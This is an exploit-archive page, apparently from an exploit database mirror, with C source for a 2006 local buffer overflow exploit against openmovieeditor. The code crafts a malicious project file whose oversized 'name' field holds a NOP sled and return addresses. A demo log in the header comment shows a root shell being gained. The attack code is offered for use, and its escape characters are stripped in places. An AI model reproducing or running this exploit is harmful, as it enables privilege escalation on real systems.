[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : openmovieeditor <= 0.0.20060901 (name) Local Buffer Overflow Exploit
# Published : 2006-09-09
# Author : Qnix
# Previous Title : Dr.Web Antivirus 4.33 (LHA long directory name) Local Overflow Exploit
# Next Title : X11R6 <= 6.4 XKEYBOARD Local Buffer Overflow Exploit (solaris/x86)
/*
* openmovieeditor buffer overflow exploit
* by qnix < qnix[at]bsdmail[dot]org
*
* Dont forget to change the return address (RETADDR)
*
*
* --------------------------
* devil: ~ > envt/envt -s 2
* Shellcode: linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes
* [+] Setting memory for the shellcode.
* [+] Copying shellcode to memory.
* [+] Putting shellcode in the environment.
* [+] Going into the environment (ENVT) and exiting ....
* Done 37 bytes loaded to (ENVT)
* devil: ~ > envt/envt
* SHELLCODE FOUND IN 0xbffffbf5
* devil: ~ > ./ome_buf
*
* *****************************************
* openmovieeditor buffer overflow exploit
* by qnix < qnix[at]bsdmail[dot]org
* Dont forget to change the return address
* *****************************************
*
* Usage : ./ome_buf <filename> <openmovieeditor>
* devil: ~ > ./ome_buf Video Projects/exploit.vproj /usr/local/bin/openmovieeditor
*
* [+] Video Projects/exploit.vproj Created|Opened
* [~] Desired Return Addr : 0xbffffbf5
* [~] Offset from ESP : 0x0
* [+] Executing openmovieeditor
*
* sh-3.1# whoami;id
* root
* uid=0(root) gid=0(root) groups=0(root)
* sh-3.1# exit
* exit
*
* --------------------------
*
* */
#include <stdio.h>
#include <stdlib.h>
#define RETADDR 'xbfxffxfbxf5'
#define SLEEP sleep(1);
int main(int argc,char *argv[]) {
FILE *output;
int i, offset;
long ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
ret = RETADDR - offset;
if(argc != 3) {
fprintf(stderr,"n*****************************************n");
fprintf(stderr,"openmovieeditor buffer overflow exploitn");
fprintf(stderr,"by qnix < qnix[at]bsdmail[dot]orgn");
fprintf(stderr,"Dont forget to change the return addressn");
fprintf(stderr,"*****************************************nn");
fprintf(stderr,"Usage : %s <filename> <openmovieeditor>n",argv[0]);
return 0;
}
output = fopen(argv[1],"w+");
if(output == 0) {
fprintf(stderr,"n[-] Cannot create %sn",argv[1]);
SLEEP
return 0;
} else {
fprintf(stdout,"n[+] %s Created|Openedn",argv[1]);
SLEEP
}
fprintf(output,"<?xml version="1.0" standalone="no" ?>n");
fprintf(output,"<open_movie_editor_project>n");
fprintf(output," <version>0.0.20060901</version>n");
/* evil code ^_^ */
buffer = malloc(2300);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2300; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 1040; i++)
{ buffer[i] = 'x90'; }
ptr = buffer + 1044;
buffer[2300-1] = 0;
fprintf(output," <name>%s</name>n",buffer);
fprintf(output," <zoom value="1.000000" />n");
fprintf(output," <scroll value="0" />n");
fprintf(output," <stylus value="0" />n");
fprintf(output," <video_tracks>n");
fprintf(output," <track />n");
fprintf(output," <track />n");
fprintf(output," </video_tracks>n");
fprintf(output," <audio_tracks>n");
fprintf(output," <track />n");
fprintf(output," <track />n");
fprintf(output," </audio_tracks>n");
fprintf(output,"</open_movie_editor_project>n");
fprintf(stdout,"[~] Desired Return Addr : 0x%xn", ret);
SLEEP
fprintf(stdout,"[~] Offset from ESP : 0x%xn", offset);
SLEEP
fprintf(stdout,"[+] Executing openmovieeditornn");
fclose(output);
SLEEP
execl(argv[2],"openmovieeditor",0);
return 0;
}
// www.Syue.com [2006-09-09]